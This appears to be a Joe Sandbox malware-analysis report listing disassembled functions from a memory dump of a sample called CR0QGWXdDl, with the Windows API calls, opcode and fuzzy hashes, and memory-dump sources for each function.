Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 23139465c3f9492ef1f6d8100bb99fb785dc8a35987c8e65618a31c0ca53d3a4
Instruction ID: 6091860fe5984d7a6ca02afe0a6bb1f753c82cc3973e3b726f06f21995c38e60
Opcode Fuzzy Hash: 23139465c3f9492ef1f6d8100bb99fb785dc8a35987c8e65618a31c0ca53d3a4
Instruction Fuzzy Hash: 1131F675D05228DBDB21DFA5DA497CDBBF8AF08300F1041AAE40CAB251EB749A85CF45

Function 0073C1EA Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0073C23E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0073C288
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0073C34E

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: d7bfabec23ccf057531f562da6d6b64ca389aee812c9e73de5796ac4c46ef1c4
Instruction ID: 9774315ee9f74b3b46ddd8a0dd9d71b8a47af6ab35f9302ce98c8da6bb41e710
Opcode Fuzzy Hash: d7bfabec23ccf057531f562da6d6b64ca389aee812c9e73de5796ac4c46ef1c4
Instruction Fuzzy Hash: 0F61A1B1500207DFFB2A9F28CD86BBA77A8EF04300F108079E905E6186EB3DD995DB51

Function 0072D7C3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0072D8BB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0072D8C5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0072D8D2

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b98568572c91f0d1e4ae8a3193726deef3752849f72e01d1e0562af928efb68d
Instruction ID: af8243a6749e546eba7d4cb0e87c1baacccbc50f301bb82a0bfd625b720e73a5
Opcode Fuzzy Hash: b98568572c91f0d1e4ae8a3193726deef3752849f72e01d1e0562af928efb68d
Instruction Fuzzy Hash: 21319375901228EBCB25DF64DD8979DBBB4BF08310F5041EAE41CA62A1E7789F85CF44

Function 0072FC40 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction ID: 317d5b84d2c6c8033075701ac8cff5c1bb2e1592522e87989d7ba69d9d43af34
Opcode Fuzzy Hash: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction Fuzzy Hash: 7AF15F71E002299FDF18CF68D990AADF7B1FF88314F158269E815AB391D734AD41CB90

Function 0073547C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00735477,?,?,00000008,?,?,00741335,00000000), ref: 007356A9

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 8f8b50eb8622560b73aea60107bc6e209dbe91004b41cb3aad2ef049d92055be
Instruction ID: e0d049a8fb0c2f287e0c421d355deebaef6ab556ce72b0b82731f33e9a4ce3e8
Opcode Fuzzy Hash: 8f8b50eb8622560b73aea60107bc6e209dbe91004b41cb3aad2ef049d92055be
Instruction Fuzzy Hash: 5BB15371610A08DFE714CF28C486B657BE1FF45365F258658E8D9CF2A2C339E991CB40

Function 00726FEC Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00727002

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 04b497f86d545bde7d812ced13010f25610f1bea5fd778157ee61ec40db364d6
Instruction ID: be8d5e42df6cd97f3730581808bc6b3ad8e2d7037e8900b2a6e1bdaa131df946
Opcode Fuzzy Hash: 04b497f86d545bde7d812ced13010f25610f1bea5fd778157ee61ec40db364d6
Instruction Fuzzy Hash: 43A15B75A06615CBDB69CF68ED827AABBF0FB4A314F14C16AD419E7360D3389840CF94

Function 0073980F Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c00830b889352e1a645151764b200d3cdecb3f7d5e30c96a870c91c7f36da9
Instruction ID: 4cf8c39dbc3e0f0efc5ff38cd953254d3f2799da8e2a0ab80d5a00abe7cdb28d
Opcode Fuzzy Hash: 68c00830b889352e1a645151764b200d3cdecb3f7d5e30c96a870c91c7f36da9
Instruction Fuzzy Hash: C531F972900218AFDB20DFA8CC89EABB77DEBC5314F144159FA0597246EA74ED40CB54

Function 0072C842 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 0072C9D0

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: aa28638b790513e36a332c1690999ab777f924467f1b7839afb47508ef0b815a
Instruction ID: 43ec718b69f14b3780f0857445159f0aecd8694478dce9b0ed6c9e1beff6957d
Opcode Fuzzy Hash: aa28638b790513e36a332c1690999ab777f924467f1b7839afb47508ef0b815a
Instruction Fuzzy Hash: F5C1F270900669CFCB2ACF28E48567EB7F1AF25300F24865ED4969B391C739BD85CB91

Function 0073C43D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0073C491

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 847f1247cc18a2377e5a7032503f72352ff0d93c20599d208458c3f536b23ee4
Instruction ID: beb2bffec4a16b3ae49e9e718e57593182fb0241dc68efa3b833e7ef6aab56c4
Opcode Fuzzy Hash: 847f1247cc18a2377e5a7032503f72352ff0d93c20599d208458c3f536b23ee4
Instruction Fuzzy Hash: 6D21F272601246ABFB299B24CC56EBA77ACEF44314F10407AFD02E6142EB3DED409B50

Function 0073C0C4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

EnumSystemLocalesW.KERNEL32(0073C1EA,00000001,00000000,?,-00000050,?,0073C81B,00000000,?,?,?,00000055,?), ref: 0073C136

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 896064638140719e8e6ca432fb09ba198ea494d4eb0c780b5116cac7c2b1a8d5
Instruction ID: d1c6e2c29cf3ab2aac5c9b85dcd0651c4bd6965fe0db0ca788bfeba458cc0c99
Opcode Fuzzy Hash: 896064638140719e8e6ca432fb09ba198ea494d4eb0c780b5116cac7c2b1a8d5
Instruction Fuzzy Hash: DA11067A2003059FEB1C9F3988A557ABBA1FF80318F14442DE94697A42D379B942D740

Function 0073C66C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0073C406,00000000,00000000,?), ref: 0073C698

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: be422980b78319d9c1f26648a12bc0dbe30111c6523e725e5602367e6f6852bd
Instruction ID: 47ae024122cb60277fd54589b34565d5db663637a7131ae6085ce7d368edc6ff
Opcode Fuzzy Hash: be422980b78319d9c1f26648a12bc0dbe30111c6523e725e5602367e6f6852bd
Instruction Fuzzy Hash: B0F0F433600111FBEB295A24CC0ABBA7768EB40354F044429EC06B3186EA78FE51CBA0

Function 0073C15F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

EnumSystemLocalesW.KERNEL32(0073C43D,00000001,?,?,-00000050,?,0073C7DF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0073C1A9

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9280abee58ba00d4746bfb3236601cea272cf4641f9940029b880d9b931ab6bb
Instruction ID: 5767fdc06f441b8629b7c4081a7e2ef5c138fbea929e72941f19ab75ae1408aa
Opcode Fuzzy Hash: 9280abee58ba00d4746bfb3236601cea272cf4641f9940029b880d9b931ab6bb
Instruction Fuzzy Hash: B3F046B62003086FEB295F359C85A7A7B91EF80368F04402DF9055B693C77AAC02EB50

Function 00735ACF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0072DB11: EnterCriticalSection.KERNEL32(?,?,007348D9,?,0074B2A0,00000008,00734A9D,?,0072C196,?), ref: 0072DB20

EnumSystemLocalesW.KERNEL32(00735AC2,00000001,0074B360,0000000C,00735E75,00000000), ref: 00735B07

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 77e463b8aa32f30ccb8e38f9cde1f23a7256e6ec20fcac817763305c731a791e
Instruction ID: dab4dc28066c616ee47e71c5e0d9d7fa2c826a21be97f18dbda274b32240b537
Opcode Fuzzy Hash: 77e463b8aa32f30ccb8e38f9cde1f23a7256e6ec20fcac817763305c731a791e
Instruction Fuzzy Hash: 1EF04F76A00204EFD704EF58E886B5D77F0FB08720F10811AF400DB2A1C77D4901CB44

Function 0073C079 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

EnumSystemLocalesW.KERNEL32(0073BFD2,00000001,?,?,?,0073C83D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0073C0B0

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 473ea30d201ad909cddb860748db8f0c950331c0de7b111b8df0e473a7a470e4
Instruction ID: 259448e55e11709570abd02e68f061640bd0014176434f34521719e1d06c360d
Opcode Fuzzy Hash: 473ea30d201ad909cddb860748db8f0c950331c0de7b111b8df0e473a7a470e4
Instruction Fuzzy Hash: 68F0553A30020597DB089F35CC0966ABF90EFC1714F068058FA058B292C73AE843C7A0

Function 00735F79 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00732100,?,20001004,00000000,00000002,?,?,00731700), ref: 00735FAD

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ef9a9f68077dd243bf28b3e76dd10b6831c87d689a24ffc63881bb20fc945176
Instruction ID: d7fa29f25de5c56a4662b253eade7b02586e8b966ed18e74310e9fc06b7cb1ff
Opcode Fuzzy Hash: ef9a9f68077dd243bf28b3e76dd10b6831c87d689a24ffc63881bb20fc945176
Instruction Fuzzy Hash: 5CE04F3650451CFBDF222F61EC09EAE7F26EF44760F448011FD0565163CB798D31AAA5

Function 007277FF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000780B,00726B10), ref: 00727804

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9448bef7cfbef419ceb1b057b536f56b0e0656ffa2cc9d09dea20f0b569169d4
Instruction ID: 0b7ebfbea0339c8b1c36393e94f9fa3c2b5b2cfcbacd0832f4ecbac537f35e4c
Opcode Fuzzy Hash: 9448bef7cfbef419ceb1b057b536f56b0e0656ffa2cc9d09dea20f0b569169d4
Instruction Fuzzy Hash:

Function 00721D65 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00721E87

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 5c3e56a17b8eef50c2b2a3d222505b8a48743a040a8524f362eb1708ddba9c26
Instruction ID: e132e272e815cd382e089b6746166957cb6fc0fefd2ffc8d4eb9f0eaeca890df
Opcode Fuzzy Hash: 5c3e56a17b8eef50c2b2a3d222505b8a48743a040a8524f362eb1708ddba9c26
Instruction Fuzzy Hash: CF413C76E2023B5BDB0CEEB8D9460AFBB65E756320B45427ADD10DB3D1E238CA01C6D0

Function 0073C99D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0073C99D

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: bc2c36a256278ca2f226ec2f0a419dd681066de6673b010029ca82c5baf572a8
Instruction ID: 4589c1d26036550fc0de892007dad5372c55700028084731530e2e38b207c4c5
Opcode Fuzzy Hash: bc2c36a256278ca2f226ec2f0a419dd681066de6673b010029ca82c5baf572a8
Instruction Fuzzy Hash: B9A012707031008B47008F305B05208359955096C230080166004C0020DB3C80114606

Function 0073B888 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
